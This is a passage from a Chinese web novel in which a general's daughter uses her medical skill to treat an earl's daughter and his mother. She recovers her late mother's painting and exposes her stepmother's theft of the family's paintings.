“那三日,我将我一直想要做的都做了,不过就像你说的,也就三日,三日后又不敢动了。”
最后这话虽然略带失落,但冯芷兰看楚安辞的眼神亮晶晶的,盛满了期待。
冯芷兰带着人先去拜见伯夫人,冯夫人也客气的接待了楚安辞,寒暄几句。
“你的身体可大好了?”
楚安辞颔首:“嗯,已经无事了。”
冯夫人叹了口气,“唉,你这孩子也是可怜,真是委屈你了。”
楚安辞自是明白话中之意,有些事情聪明人都懂,没必要点破。
楚安辞微微抿唇一笑,没有多言。
冯夫人也没再多说什么,而是问道:
“芷兰的身体,楚大姑娘当真有法子?”
“她那三日的状态我看得清楚,爬山,荡秋千,一些剧烈的运动都没有影响。”
“芷兰从小到大,就没有那般痛快过。”
“只是这孩子自小懂事,即便心中期盼,也从不会说出来,反倒让我们更加心疼。”
楚安辞颔首,“夫人放心,我既然提出来,那便自是有把握的。”
白灼在一旁道:“冯夫人放心便是,我们小姐在北境时,可也算是半个军医了。”
“并且北境的百姓有什么病痛,也经常寻我们小姐医治。”
冯夫人惊讶,“哦?没想到楚将军竟养出了一位与众不同的女儿。”
“既如此,那我也就放心了,烦请楚大姑娘给我们芷兰治病。”
“如果能治好,我们伯府自是感激不尽。”
“如果不能,我们也不怨你!尽人事听天命罢了。”
听到冯夫人这般说,楚安辞不禁又高看了冯夫人一眼。
能将事情分得这般清楚,心思这般通透之人,在这样的环境中可是真的不多了。
尤其是世家大族,像冯家这般,拥有爵位在身的,宗族也好,后宅也罢,一些人在此中浸染多了,难免会发生变化。
不过冯夫人却一直保持清醒,可见其人不同于其他人。
不过再一个,也可能与靖安伯府后院干净有关。
靖安伯一生未曾纳妾,只守着妻子和妻子所生的一儿一女,这样的男人在京城更是难得。
楚安辞突然想起了自己的爹爹,无论是听爹爹谈起娘亲,还是听哥哥讲爹爹与娘亲的事,楚安辞都可以判断出,爹爹是爱娘亲的。
很爱很爱的那种。
可是为何他又会在娘亲离开一年,就娶了萧晴,还与她生下了一个孩子?
这是楚安辞最是不解的地方。
“楚大妹妹,要不我们去我那里?”
沈芷兰见楚安辞久久不说话,便问道。
楚安辞摇头,“啊,哦,不用,在这里就可!”
然后让白灼拿出脉枕,“我再给你把把脉。”
沈芷兰坐下,任由楚安辞诊脉。
冯夫人有些紧张,“我们给她请过不少大夫,太医也曾看过,可都说不能根治!”
楚安辞收回手,道:“此乃肺肾两虚,气不归根,如若单纯的止咳,或者缓解胸闷也只是治标不能治本。”
“不治本,则终身难愈。”
母女二人都很是认真的看着她,等她给个结论。
楚安辞:“但只要补肺纳肾,健脾祛寒,三脏同调便可断根。”
闻言,二人莫名的松了口气。
冯夫人:“那你的意思是,可治?”
楚安辞点头,伸手。
白灼利落的拿出两个药瓶递到楚安辞手中。
“来之前,我已经让白灼做好了药丸。”
“这是金匮肾气丸和人参固本丸,这里面的药,足够冯姐姐服用半月,半个月后再寻我,给你送新做好的丸药来。”
“不过服药期间,需养好身体,忌风寒、忌劳累、忌生冷,静养调息,半年后与常人无异。”
沈芷兰眼睛一亮,“半年?只需半年我就可以与常人无异?”
“已经等了十几年,再等半年我也是等得的。”
冯夫人用帕子按了按眼角,“太好了,我与你父亲本来一只担心你的身体,怕你这个样子,将来如果成婚生子,怕会要了你这条命!”
“我们都已经想好,大不了这辈子不嫁人,左右有我们,有你弟弟,不会让你受了委屈。”
“但如果能体验正常人的一生,那就更好了。”
楚安辞道:“半个月后,沈姐姐虽然依旧要静养为主,不过走路应该会轻便许多,不会觉得憋闷气喘,但完全养好,还是得差不多半年。”
冯夫人已经松开了女儿,“谢谢楚大姑娘。”
然后拿出一张银票,“这是我们伯府的一点心意。”
楚安辞看了看,一百两,她没有接,“夫人客气了,我与冯姐姐有缘,不必如此。”
冯夫人还要坚持,楚安辞道:“夫人如果非要感谢我的话,不如等姐姐身体大好些,现在还没开始吃药,左右也等姐姐身体看到效果了,然后再给报酬也不迟。”
我现在收了银票,如何叫你欠我人情,后面又如何提画的事情?
闻言,冯夫人也没再客气,“既如此,那就留下用个午膳,你们姐妹也一起说说话。”
楚安辞欣然应下,“多谢夫人款待。”
楚安辞一直待到午膳过后才离开,只是可惜没有见到伯府的那位老太君。
出了伯府大门,刚好有雪花飘落。
楚安辞抬手接住一片雪花。
送出门的沈芷兰道:“呀,下雪了,今年的雪来的早了些。”
楚安辞:“早了吗?”
冯芷兰颔首,“嗯,早了一点,不过往年来算,也快了。”
楚安辞没有放松,反而眉宇间带上一抹忧色,痴痴的望着雪花飘落的天空:
京城的雪也早了啊,也不知道北境那边现在怎么样?
她收回视线,与冯芷兰告辞。
楚安辞的马车刚走,上差的靖安伯便回来了。
听到冯夫人和冯芷兰说楚安辞给开药的事,有些疑虑,“可信得过?这药可不能乱吃啊。”
冯夫人道:“这么多年没人说能根治,好不容易有个说能治的,我和芷兰都想试试!”
靖安伯犹豫了一下,还是道:“将药丸给我两颗,我去请太医看看,没什么问题,那就先吃着!”
冯芷兰将药给靖安伯,靖安伯片刻没停留,直接去了太医院。
等回来的时候,一脸的喜色。
冯夫人问道:“如何?”
靖安伯坐下,喝了口茶,这才道:“我找郑太医看的,郑太医看过了,说这药丸做的极好,完全保留了药材的药效。”
“并且里面药材搭配的也十分妥当,就是他都不一定能做到这般。”
“没想到啊,楚家那位跟随父兄去北境戍边的大小姐,竟然学了一身本事回来。”
“看来咱们芷兰这病,是真的有希望了!”
随即他想到了他的老母亲,“如果楚大姑娘真有两把刷子,不妨也请她给母亲看看。”
冯夫人道:“我也在想这个,母亲身体孱弱,常年被病痛折磨,下不了床。”
“如果她真有这个能耐,我们不妨一试?”
第29章 送药
靖安伯点头,“嗯,她不是说这是半个月的药量,我们就先看看半个月后,芷兰的身体情况,如果真的有了改善,就请她上门给母亲医治。”
夫妻二人商议定,决定再等半月看看。
然而,才过了不足五日,靖安伯府突然来人请楚安辞过去。
萧氏闻言,便将人叫过去盘问。
那人道:“具体何事我们也不清楚,只知道今日请了太医。”
萧氏一怔:太医?难道是冯大小姐出了什么事?还与楚安辞有关?
她眼珠子转了转,让人去叫楚安辞。
等楚安辞走了,萧氏才对王嬷嬷道:“派人盯着些,打问一下,看看靖安伯府可是出了什么事?是否与楚安辞有关!”
王嬷嬷应是,又问道:“如果与她有关,那我们......”
萧氏想了想,道:“如果真的是她惹来的祸事,那咱们就装装样子,算是给将军一个交代,剩下的交给靖安伯府处置就是。”
到时候,宣平侯府也绝不会承认这门婚事,我的雨儿就更有机会成为侯府的当家主母了。
京城接连下了五天的雪,雪虽然不大,但洋洋洒洒的,一直不停。
路上还是积了一层厚厚的雪。
马车走在雪上,发出咯吱咯吱的声响。
伴着这雪被压实,和马蹄哒哒的声音,楚安辞思绪繁杂。
她承认,是她心乱了。
回京这些时日,她无论何时,头脑都很清明,可是这会却有些乱了。
因为她已经接连几日都没有收到北境那边的消息了,就连运送药材的队伍,都联系不上了。
楚安辞深吸一口气,提醒自己不要乱,总有消息的。
外面蓝英突然勒住了缰绳,“小姐,是离大人和萧世子。”
楚安辞一愣,掀开车帘,正见到站在他们马车前的两位风格完全不同的俊美男子。
“哟,真是你啊楚妹妹。”
“我刚说这马车有些眼熟,离大都督说是将军府的马车,我还不信,原来真的是。”
“这还下着雪呢,你这是去哪?”
两人已经走到了马车旁。
楚安辞没下车,“靖安伯府有请。”
然后又对萧起道:“之前多谢萧世子救命之恩。”
萧起摆手,“哪有什么救命之恩啊,是你自己救了自己,根本没用上我!”
楚安辞道:“毕竟萧世子也因我跳进了那冰冷的水中,这份情,还是要谢的。”
萧起道:“楚妹妹这就客气了,我萧起虽是纨绔,但也是善良的纨绔,看到楚妹妹这样的人儿落水,岂能不管。”
楚安辞笑了笑,没有接这话。
反而是看向了一旁的景离,她微微皱眉,视线在景离身上扫了一眼。
“大人可是受伤了?”
景离身体一僵,深邃的眸子危险的看向楚安辞,将楚安辞吓了一跳:我说错什么话了吗?
“我学过医,隐约闻到了一点金疮药的味道。”
景离抿了抿唇,鼻间发出一声轻轻的‘嗯’。
如果不是听力好,楚安辞可能根本就听不到。
她扭头从车上的医药箱里拿出一个瓷瓶,递给景离。
“这是我自己做的金疮药,绝对比太医院的效果还要好。”
“这药能有效的抑制伤口发炎,快速愈合。”
景离看着伸出来的那只纤细白嫩的小手,手腕上干净洁白,什么都没带。
虎口的位置,还有薄薄的茧,那是握兵器的手。
然后先萧起一步,将瓷瓶拿在手中。
“多谢!”
他握着瓷瓶,瓷瓶冰凉,但他指尖却依旧残留着刚刚与那只小手触碰时的感觉。
柔软的,温热的。
萧起本想先一步拿过药,可是被景离抢了先,他瞪了景离一眼,眼神不明,就觉得好似不认识这个人了一般。
这冷面阎王可是从不与人有过多接触,这是第二次接受楚妹妹的东西了吧?
难道太阳打西边出来了?
萧起忍不住看了看天,行吧,落了一脸的雪,哪来的太阳?
前面那个靖安伯府的小厮焦急道:“楚大小姐,我们伯爷和夫人还在等您过去呢!”
楚安辞点头,“哦,好,那我们走吧!”
然后看向二人,刚要开口,就听景离道:
“今日靖安伯府派了人去太医院,请了郑太医过去,应该是伯府的老太君病情加重了。”
楚安辞:他这是再给我提前透漏消息吗?
然后又下意识的看了看景离握住药瓶的手,“多谢,那我们先走了!”
马车再次出发前往靖安伯府,楚安辞也似是后知后觉般,察觉到哪里不对:
奇怪,我不曾与他讲过我会医术,他竟然不曾多问,甚至刚刚还给我提醒,靖安伯府请我过去是为了老太君的病!
楚安辞的柳眉几乎皱到了一起,头不自觉的往一边歪,怎么也想不通。
白灼打量着她,道:“小姐,您想什么呢?”
楚安辞看向她:“你有没有觉得,那位离都督好似对我会医术并不惊讶,甚至似乎早就知道一般?”
白灼也有些疑惑,“是啊,小姐给他药,他连问都不问就收了。”
她们在这疑惑不解,那边萧起也正疑惑呢。
他问景离,“你为何要提醒老太君病情之事?难道你觉得她能解决不成?”
景离看向他,“你对她了解多少?”
萧起瞪眼:“我......也没多少,但肯定比你多!”
萧起又问道:“不过我没想到,你竟然真的收了楚妹妹送的药,唉,那药你拿着反正也不用,要不给我,省得浪费。”
景离反手将药塞入怀中,“刚才她都说了,这药比太医院的还要好,我正好用得上。”
然后抬脚就走。
萧起眼珠子都快瞪出来了,连忙追了上去,一路‘哎哎哎’,任由雪花往嘴里飘。
“你何时用过别人的东西,无论吃喝,还是看病,都是自己信得过的人经手。”
“楚妹妹何时成你信得过的人了?”
“还有,她一个小姑娘做的东西,难道你真敢用不成?”
对于萧起的疑问,景离选择无视,不回答,这让萧起很是无奈又暴躁。
那边刚从之前的问题中纠结出来的楚安辞,也已经到了靖安伯府。
虽然没想通,但纠结也没用不是?
因为景离的提醒,她下车的时候,直接让白灼提上了药箱。
进入府内,就被一个管事嬷嬷接过去,领着他们往后院深处走去。
嬷嬷低着头,一路上脚步匆匆,不发一言。
楚安辞也没问,更没有东张西望,沉默地跟在后面,一直到了一所幽静的院子门口。
那嬷嬷道:“楚大小姐,这是我们来太君的院子,您请!”
楚安辞颔首,抬步进去。
进入院子,一阵浓郁的药香扑鼻。
听到动静的冯芷兰正好出来,“大妹妹,你终于来了,我祖母她病情突然加重。”
她摸了摸眼角的泪,“辛苦大妹妹,看看有没有法子!”
随着冯芷兰进入老太君的房间,药味和老人身上特有的味道掺杂,不怎么好闻。
虽然这里收拾的很干净,但那味道依旧经久不散。
楚安辞与靖安伯和冯夫人见礼后,一眼就对上了郑太医那惊讶且浑浊的小眼睛。
“郑太医!”
郑太医指着楚安辞,对靖安伯道:“这就是你说的那位特殊的大夫?”
靖安伯道:“是,这就是那位给小女开药的大夫。”
郑太医嘴巴微张,小眼睛努力地睁大,“那丸药,你做的?”
楚安辞点头,“是!”
郑太医还要问什么,靖安伯道:“还是先让她给母亲看看情况,后面你们再慢慢聊吧。”
第30章 解释了个寂寞
郑太医自知刚刚自己失态,让出半步道:
“既如此,楚大小姐便来瞧瞧吧。”
见郑太医这般利索的让开,楚安辞反而一愣:这位太医,竟然不介意我是女子行医,也不在乎我年纪小,经验不足?
要知道我之前之所以在北境以男子的身份行医,很大原因就是人家看我是女子,年纪又小,信不过。
为了不必要的麻烦,和浪费时间,这才一直一开始便伴做了男儿身。
她多看了郑太医两眼,这才过去拉过老太君的手,把脉。
楚安辞摸完脉,又拨开眼睛看了看。
还有唇色,和肤色,她都一一看过。
郑太医道:“可看出了什么?”
楚安辞开口:“老太君这身子,是年轻时落下的病根,伤了根基,这才缠绵病榻。”
“这次病重,应该是着了凉,受了些风寒,引发了隐藏在身体的陈年旧疾。”
郑太医颔首:有两把刷子啊!
“嗯,没错,老太君年轻的时候,被人下过药,一条命差点就没了!”
冯夫人道:“是啊,当时幸好多亏了郑太医给母亲解了毒,这才拉回一条命,可是从那时开始,母亲的身子就不行了,能坚持这么多年,已是不易!”
“这还多亏了伯府有点家底,能够好药滋补着不断。”
楚安辞挑眉:看来这位郑太医,医术还可以啊!也没有师父说的那般,太医院那群人都是渣渣。
郑太医道:“我能力有限,也只能给老太君开药吊着这一条命,但是完全根治是不能了!”
“你既有根治喘疾之法,此病可有法子?”
郑太医其实是不报什么希望的,但他莫名的就想问一句。
冯小姐的喘疾,整个太医院都没法根治,可是偏偏就让眼前这小丫头找到了法子。
这老太君的身体更麻烦,不知她是否还有办法?
楚安辞道:“老太君体内还有残毒,毒素侵入心脉,加上根基受损,这才导致她身体常年孱弱,蝉联病榻。”
“时间有些长了,又受损严重,想要将身体恢复如初怕是不能。”
靖安侯和冯夫人对视一眼,一脸的苦相。
楚安辞接着又道:“不过我可以给她将残毒逼出,然后再开方子,加上药膳一并调养,根基虽不能完全修复如初,毕竟老太君年纪已经大了,身体的恢复能力不似从前。
但至少可以让她不再常年卧床,可以到院子里溜达溜达,只要不过于劳累,再延寿几年也未尝不可。”
靖安伯不可置信的看着楚安辞,“当真?”
他有些激动道:“只要你能救我母亲,条件你尽管提,只要我能做到的,赴汤蹈火在所不辞。”
楚安辞:“我不是那挟恩以报之人,救人本就是行医者的本分。”
冯夫人:“你能救母亲,我们回报那是应该的。”
楚安辞道:“这样,我先写个方子,你们先去抓药,我给来太君施针,先祛除寒气,然后再将余毒逼出。”
“白灼,你给老太君写个调养身体的膳食方子,年纪大了,不宜荤腥,选清淡点的方子。”
下人很快拿来笔墨纸砚,楚安辞快速写下药方,郑太医一直目不转睛的看着。
他越看越是惊讶,心中惊叹:竟然还可以这样,这方子我竟从未见过。
甚至一不小心,将自己的胡须揪了两根下来,疼的他手一颤:哎呀,疼疼疼!
“楚大小姐,你这药方回头,我可否誊抄一份?”
楚安辞点头,“可以。”
郑太医犹豫了一下,又问道:“你这方子,是从哪里得来的,竟如此巧妙。”
楚安辞一边打开针包,一边道:“是我和师父多次实践,自己配出来的。”
然后扭头对靖安伯他们道:“劳烦伯爷和夫人,先去外间等候。”
“白灼,一会写完药膳,端盆温水进来。”
大家都离开老太君的房间,最后只剩正在忙碌的楚安辞,和因为刚才楚安辞那话发呆的木桩郑太医。
郑太医:自己配出来的?她才多大,竟能配出这么精妙的方子?
哦,对了,师父。
“敢问大小姐师从何人?”
楚安辞手一顿,看向他,脸上突然露出一个大大的,甜甜的笑。
看的郑太医都不禁跟着傻傻笑起来。
“我师父这人脾气有点怪,不喜人提及他,所以抱歉啊,不能告诉你!”
我如果告诉你我师父是云神医,那我家岂不是会被你们踏破门槛?
到时候光应付你们了,我还报不报仇了?
郑太医的笑一下子僵住,他摸摸脸:医术高超之人,脾气就是古怪!唉,可惜了,这小丫头的师父,一定是位厉害的医者。
看那方子和之前的药丸,甚至有可能堪比云神医。
郑太医来不及继续想下去,因为楚安辞已经开始施针了。
郑太医起先看着,和自己施针没什么不同。
因为自己排出寒气时,也是用的这一套针法。
可是越往后,他越淡定不下去了。
因为看着看着,他发现楚安辞的针法似乎融合了别的东西。
她在楚安辞再次落下一针的时候,下意识的拿起一根针递了过去。
楚安辞也没在意,顺手接过继续施针。
一个递的自然,一个接的顺手。
就这般,两人忙了小半个时辰。
楚安辞松了口气,用袖子擦了擦额头的汗,“寒气已经排出,我们等着体内的毒汇聚过来,然后排出就好了。”
郑太医道:“你刚才排寒气的时候,是否已经开始在排毒了?”
楚安辞颔首:“嗯,寒气排出的时候,能带动毒气流动,有助于后面毒素更快集中于一点。
老太君体内的毒素沉积已久,有些顽固,必须得多刺激一下才可。”
她看了看郑太医的脸色:他不会以为我是庸医在害人吧?毕竟沉积的毒素一旦被调动,猛然间身体的平衡被打破,人可能就直接挂了。
想了想又补充了一句,“在此之前,我已经护住了她的心脉,所以不会有性命之忧。”
郑太医依旧站在老太君的床榻边,一手扶着胡须,仔细看着楚安辞落下的针。
他嘴里还在不断喃喃,似乎是在研究,又是在学习。
对于楚安辞后面的话,压根就没听进去。
楚安辞......我解释了个寂寞?
直到白灼端着温水进来,楚安辞让白灼给老太君擦擦身子,郑太医才回神。
他老脸一红,有一种偷师被抓包的感觉。
“是老夫逾矩了!”
楚安辞摆手,“无妨的,郑太医如果想学,我将针法写给你就是。”
“我师父说过,学医者不应敝帚自珍,而应多多实验交流,互相学习,才能有更大的突破。”
“对于这一点,我一直信以为然!”
“郑太医如果觉得不好意思,也可以用自己的绝学与我交换。”
楚安辞甜甜一笑,毫无心机的样子:我可是知道的,你们太医院这些太医,谁手上没有点传家的本事?
郑太医道:“楚大小姐的师父心胸宽广,是我等楷模!”
然后又摸着胡子发起呆来,眉头还紧紧蹙在一起。
楚安辞知道,这位太医大人,肯定是在思考那什么与她交换呢!
楚安辞给自己倒了杯茶,微微勾唇。
又过了半个时辰,楚安辞将老太君体内的毒排出,然后拔针。
丫鬟进来喂药。
等了不到一刻钟,人就醒了。
靖安伯和冯夫人高兴坏了,靖安伯出来的时候,眼角还挂着可疑的泪珠。
“母亲说她这次醒来,感觉身体轻快了许多。”
“并且胃口还好了一些,刚才就跟我们要吃的。”
“楚大小姐这恩情,我们靖安伯府记下了,楚大小姐可有什么想要的?”
第31章 不懂礼数
楚安辞看看郑太医,又看向靖安伯道:“我却有一物想要与伯府讨要!”
“不过我也不会白要,我愿意付银子,只请夫人愿意卖与我。”
刚好从内间出来的冯夫人疑惑道:“大姑娘想要的是何物?”
“悠然客的故园遥忆图。”
冯夫人一怔,“几年前,我确实得到了一幅故园遥忆图,也确实是悠然客所作。”
“只是大姑娘如何得知此画在我手中,又为何想要此画,这画可是有什么问题?”
“还是说,大姑娘与我一般,也是爱画之人?”
楚安辞:“悠然客,是我娘亲。”
“此画是我娘亲的遗作,我想将娘亲留下的作品寻回!”
冯夫人瞬间了然,“之前曾听闻长孙氏继承了其父的画技,没想到她竟然就是悠然客!”
“我曾在闺中时,便有幸见到过悠然客的画作,当时就欣赏于她画技的精湛,和对场景描绘的细致,每一幅作品,观者都能从中感受到不同的心境,甚至同一个人,不同的情况下,看到那画所呈现的内容也是不同的。
从那时开始,我便爱上了她的画,只是竟没想到,原来那位神秘的悠然客竟是你的娘亲,先将军夫人。”
“大姑娘不必买,你先给了我女儿与正常人一样生活的希望,这次又救了母亲,我们本就感激不尽。”
“这画我们送你,算作我们的报答!也算是物归原主。”
楚安辞微微福了福身,没有拒绝。
“那就多谢夫人割爱了。”
冯夫人一面命人去娶画,一面问道:“这画是我六七年前从一个南方商人那里买到的,只是不知先将军夫人的画,如何落到了南方商人手中。”
“我记得十几年前,悠然客虽然有画作流落在外,但是极少,也就是差不多十年前,便逐渐有她的画流出。”
“可那个时候,先夫人已经离世三年有余。”
楚安辞垂眸,嘴唇轻抿,再抬头,眼底已经有水雾朦胧,“十二年前我随父兄前往北境,当时哥哥为了思念娘亲,只带走了两幅让他印象最为深刻的,娘亲其它的画作,都留在了将军府中。”
“这次我归京,想着既然回来了,就将娘亲的东西收拾一番,不曾想却并没有找到一幅她的画作,想来是家中的奴仆不知,拿出去给偷偷买了,又或许是被贼人给偷了。”
冯夫人眼中满是讥讽:这哪里是被贼人偷了,肯定是被萧氏拿出来卖了,萧氏在闺中时什么样的人,别人不知,我却也是知道一二的。
她握住楚安辞的手,“你被你父兄教导的善良单纯,却不知京城暗地里的腌臜太多了,好孩子,以后万事多个心眼,切莫轻易相信她人。”
楚安辞颔首,“多谢夫人提点,我记下了。”
乖乖悄悄的样子,更是戳中了冯夫人的心间,看着这样懂事乖巧,又有本事的丫头,她心底油然而生的喜欢。
冯夫人将站在一旁的冯芷兰拉过来,“芷兰比你大不了多少,你在京城没什么朋友,以后就多寻你冯姐姐玩。”
“芷兰秉性最是纯良,应该能与你玩到一块去。”
等下人将画取来,楚安辞看过画后没有多做停留,被沈芷兰送出靖安伯府。
站在伯府门口,郑太医道:“我那里还有几个专治妇科的方子,愿意拿出来与楚大小姐讨教一二。
顺便想与大小姐讨教一番你之前的行针。”
楚安辞看向郑太医,愣了一瞬:他这是想了多久?竟然还在纠结上一个问题。
“多谢郑太医,今日针法回头我写下来,遣人给您送去府上。”
二人说定,这才与沈芷兰告辞,各自离开。
刚刚回到将军府,萧氏的人就到瑶华居喊她,让她去静安居一趟。
楚安辞摆摆手,随意道:“我知道了,换身衣服就去。”
而静安居内,萧氏正在听着嬷嬷的汇报:“老奴......老奴并不曾打听到什么,只隐约听闻,好似是府上的老太君出了什么事。”
萧氏蹙眉:“不是那冯大姑娘?”老太君出事,找楚安辞做什么?
王嬷嬷摇头:“不是,老奴看的真真的,冯大小姐什么事都没有,大小姐出来的时候,还是冯大小姐亲自送出来的。”
萧氏将茶盏往旁边桌子上一放,“可有听到他们说什么?”
王嬷嬷再次摇头:“离得远,不曾听清。但老奴看到大小姐出来的时候,手里抱着一个长长的盒子,还与郑太医说了几句话。”
萧氏眉头紧紧蹙在一起,“再无其他?”
王嬷嬷接着又道:“老奴使了银子,在大小姐出来之前,打探到一点消息,不知与大小姐有没有关。”
“后门的婆子说,大小姐去的是伯府老太君的院子,等大小姐出来的时候,那位老太君好像没事了。”
时间紧,能打听到这么多,王嬷嬷是真的尽力了。
并且守门的婆子知道的本就不多,而冯夫人管家严,想知道再多一些,确实也有些难了。
主仆说话间,楚安辞已经换了一身衣服过来了。
萧氏先是打量了一番楚安辞的神色,看着与往日没什么不同,眉眼间还多了几分愉悦。
萧氏命人上茶,面容慈和的问道:“听闻大姑娘今日去了靖安伯府,可是出了什么事?”
她一边说话,一边仔细观察着楚安辞的脸色,试图从她脸上看出什么。
楚安辞不动声色道:“哦,没什么,是冯姐姐找我过去说说话罢了。”
萧氏呵呵一笑,“姑娘家有几个闺中密友也是好的,下次再去,可以喊着雨儿一起,人多了更热闹。”
楚安辞抬眸瞥了一眼:既说是闺中密友了,那说的自然是私密话,加一个外人还算什么密友聚会?
哦,对了,上一世楚潇雨可不仅仅抢我的男人,我的好友,我的一切她都喜欢的。
楚安辞嘴角突然翘了起来,“夫人说的也对,只是人家不请,妹妹妄自登门我怕人家会说妹妹没有礼数,不过妹妹想去的话,下次我定然带她一起。”
萧氏深吸一口气,转而道:“听下人说,大姑娘回来的时候,还从靖安伯府拿了东西回来?可是冯大小姐送的?”
“你这孩子,怎可随意收别人的东西,不知是什么贵重的礼物,我好给人准备回礼,不然显得我们将军府的人不懂礼数,小家子气。”
楚安辞:“这个呀,夫人不用回礼的,这本就是冯夫人给我的回礼。
这来来回回的,也没有个头不是。”
“至于那礼物也没什么不能说的,是我娘亲的画,不知怎么流落到了冯夫人手中,冯夫人又听闻那是我娘的画,就送还给我了。”
她眨了眨眼,看向萧氏,眼神不明。
萧氏闻言,脸僵滞了片刻,很快扯出一个难看的笑,“既如此,出去这么久想必也累了,回去休息吧。”
她眼底的心虚,楚安辞没有错过:这是怕我追问娘亲画流失的事?哼!既如此,我不问岂不是可惜了?
第32章 本色出演小绵羊的孤狼
楚安辞没动,反而认真且恳切的问道:
“夫人,我还想问您,爹爹和哥哥都说过,娘亲的画保存在将军府中,可怎么就到外面去了呢?”
“难不成是将军府出了内贼?”
“堂堂将军府,居然有人监守自盗,这怎么可以,那些可都是我娘亲的遗作,无论爹爹,还是哥哥,都不容其有失。既然已经有画作流落在外,难保其它的画没丢。”
“还有将军府的财物,可不能叫人给偷了去。”
“蓝英,去将楚护卫叫来,今日必定要查清楚到底是何人在将军府作乱,竟敢将主家的东西拿出去偷偷卖掉。”
蓝英转身就走,快的萧氏以及王嬷嬷等人来不及阻拦。
萧氏突然拍案而起,“够了,将军府好好的哪里来的贼?”
楚安辞惊讶的看向她,“难道不是贼?可我娘亲的画怎么流落到了外面?”
“我看过了,那幅故园遥忆图是娘亲成婚前所作,因其对娘亲意义特殊,所以娘亲一直留在身边。”
楚安辞三两句话堵住了萧氏的借口。
她本想说那可能是长孙舒然之前卖掉的画,可未曾想楚安辞连那画什么时候作的,有没有卖掉都知道的一清二楚。
萧氏不禁再看楚安辞的眼神带上了怀疑和探究:她好像哪里不一样了,难道之前那般都是装的。
再仔细打量楚安辞,看着还是那般清纯无害的模样,可眼底的狡黠毫无预兆的刺痛了她。
萧氏身形一晃,踉跄的坐了回去。
“夫人,你没事吧?”
“都怪贼人可恶,夫人这是被气着了,不过夫人放心,有楚护卫在,无论什么宵小都逃不过的。”
楚安辞眼底的冷意和戏谑一闪而过。
不多时,蓝英回来了,“小姐,楚护卫已经带人接管了库房,并检查过了,夫人的遗作全都没了。”
楚安辞猛地转头看向萧氏,“夫人,这是怎么回事?”
萧氏心底咯噔一声:完了,这死丫头手竟然伸得这么快,毫无预兆。
她握了握拳,咬牙道:“是谁看的库房,丢了这么重要的东西都不知道,给我乱棍打死,将尸首拖去乱葬岗。”
楚安辞道:“慢着。”
王嬷嬷的脚步顿住,只听她道:“夫人,一个看管库房的婆子,有那么大的胆子做这种事情?会不会还有同伙啊?”
萧氏心脏跳的极快,她强力隐忍着怒火。
王嬷嬷见此,站出来道:“大小姐放心,一切交给老奴,老奴自会给大小姐一个交代。”
楚安辞看着她,没有任何温度的眸子,连之前那憨憨的笑意也瞬间消失无踪。
王嬷嬷只觉像是被孤狼盯上了一般,浑身寒毛直竖。
半响,楚安辞才道:“王嬷嬷,这种事情哪用得着劳烦您呢,我看夫人脸色不太好看,你的任务是照顾好夫人才是。”
“蓝英,让楚护卫查清楚,问清楚娘亲的画都被卖到哪儿去了。”
“还有,既然娘亲的画都丢了,难保没有丢其他东西,将库房一并查一遍,有关涉事人员,全部揪出来交给夫人处置。”
“是!”
她这才又看了看脸色不好的萧氏,“夫人先休息,我也回了,等楚风查清,自会将人送来的。”
一直看到楚安辞的身影消失,萧氏这才一把将桌上的茶盏狠狠扔了出去,“贱人!”
“看向像是柔弱的小绵羊,没想到竟然是头伪装的狼!”
王嬷嬷:“夫人的意思是,她之前都是装的?”
萧氏深吸一口气,眼神冷厉,“她一直都是楚楚可怜,任人可欺的模样,可是你想想,哪一次她真的吃过亏?”
王嬷嬷想了想,还真是,“那她为何不继续装下去?突然就出手了?”
萧氏眸色一厉,“哼,谁知道她受了什么刺激!”
“你去,将那些人处理干净了,这件事决不能让他们查到我身上来。”
“更不能让将军知道。”
王嬷嬷知道萧氏说的是什么,安排大丫鬟守着萧氏,匆匆离开静安居。
回瑶华居的路上,白灼也正疑惑的问楚安辞,“小姐,您不是演小白花演的很自在吗?怎么就突然不装了?这是要撕破脸皮了?”
一说撕破脸皮,白灼就有些兴奋。
楚安辞白她一眼,“我何时演了?那是你小姐我的另一面,我可是真真实实的女子,女的!”
白灼心里吐槽:我也没说您喜欢穿男装就是男的了,知道您是本色出演,还是很做作的那种。
楚安辞道:“不是我要撕破脸皮,只是她们出手太慢了,我不刺激一下,她们真当我好拿捏,想着慢慢磨,那多浪费时间。”
白灼更疑惑了,“好拿捏还用得着慢慢磨吗?”
直接下手不就行了?
楚安辞:“唉,有的时候人过于自大就是这般,越是好拿捏的事情,她们越是要拖到最后。”
“一旦发现会有变数,这个人或者这件事不那么容易控制,那便会提前动手,毕竟一次不成,还有时间做第二次的。”
“只要她们动手,暴露的就会越多,我想要知道的也会越多。
并且是她们要害我,当我对她们还手时,那就属于正当防卫,没人能说什么!”
萧氏和楚潇雨能动手害我父兄,绝对不会那么简单,她们的动机到底是什么?
这些年,楚安辞越想越觉得蹊跷,无论是萧氏母女,还是沈厉岚,宣平侯府。
他们哪里来的底气,算计拥有几十万大军的定北大将军?那么做,对他们有什么好处?
这些她必须查清,如果贸然解决掉他们,反而错过了最大的敌人,那就会将自己和父兄置于更加不可知的危险之中。
并且贸然出手,还会容易因为自己,给父亲惹来麻烦。
想起父亲的几十万大军,楚安辞就有些头疼。
她为了不因为自己给爹爹添麻烦,不给朝堂上那些人给爹爹拖后腿的机会,也是费尽心思了。
上一世楚家的灭亡,可没少人添把火。
还有萧氏母女,就是在确定婚事不能更改的情况下,大婚前对她动的手,让她即便嫁到侯府,也是人人唾弃,就连下人也能踩上一脚的存在。
这也直接导致了她悲惨的结局。
“告诉楚风,让他好好查,但人不能死,留给夫人亲自处置。”
白灼立即点头。
楚风仅仅用了半日的功夫,就带了十几人到静安居。
楚安辞过来的时候,正见到萧氏冷着一张脸,看着地上跪着的十几人。
男女都有,大体扫过一遍,笑了:楚风办事就是利索,竟然一个没错,都是萧氏往日里用的最顺手的...自己人!
见到楚安辞来,楚风将之前汇报给萧氏的话又说了一遍,“这些人都有参与偷盗府中财物的事情,并且全都招人了。”
楚安辞看向楚风,楚风对她点头,楚安辞心道:嗯,不错,王嬷嬷做事情还挺快,竟然能在楚风的有意配合下,这么快就威胁住了这些人,让他们自己担下了罪责。
要知道不说其他,单单长孙舒然的那些画,价值就难以估量。
这么多东西,岂是下人敢擅作主张做的。
但有王嬷嬷的威胁,这些人不敢供出萧氏,只得自己认下了。
萧氏看向楚安辞,心痛道:“我也没想到,他们竟然做出这种糊涂事,也是我管教不严,这么多年一直被蒙在鼓中。”
“不过大姑娘,这些都是家中老人了,有些还是我的陪嫁,和将军府的家生子。”
